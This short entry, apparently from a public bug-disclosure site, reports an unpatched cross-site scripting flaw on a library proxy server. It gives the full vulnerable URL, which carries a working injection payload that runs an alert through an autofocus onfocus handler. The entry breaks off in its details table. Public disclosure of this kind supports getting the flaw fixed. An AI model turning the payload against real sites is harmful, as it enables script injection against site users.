ezproxy.lancasterlibrary.org XSS vulnerability

Vulnerable URL: http://ezproxy.lancasterlibrary.org/TLCScripts/interpac.dll?SearchForm=1=pac=,0,%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Autofocus%20/;%20Onfocus=alert'OPENBUGBOUNTY'//%3E%3CSvg%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability...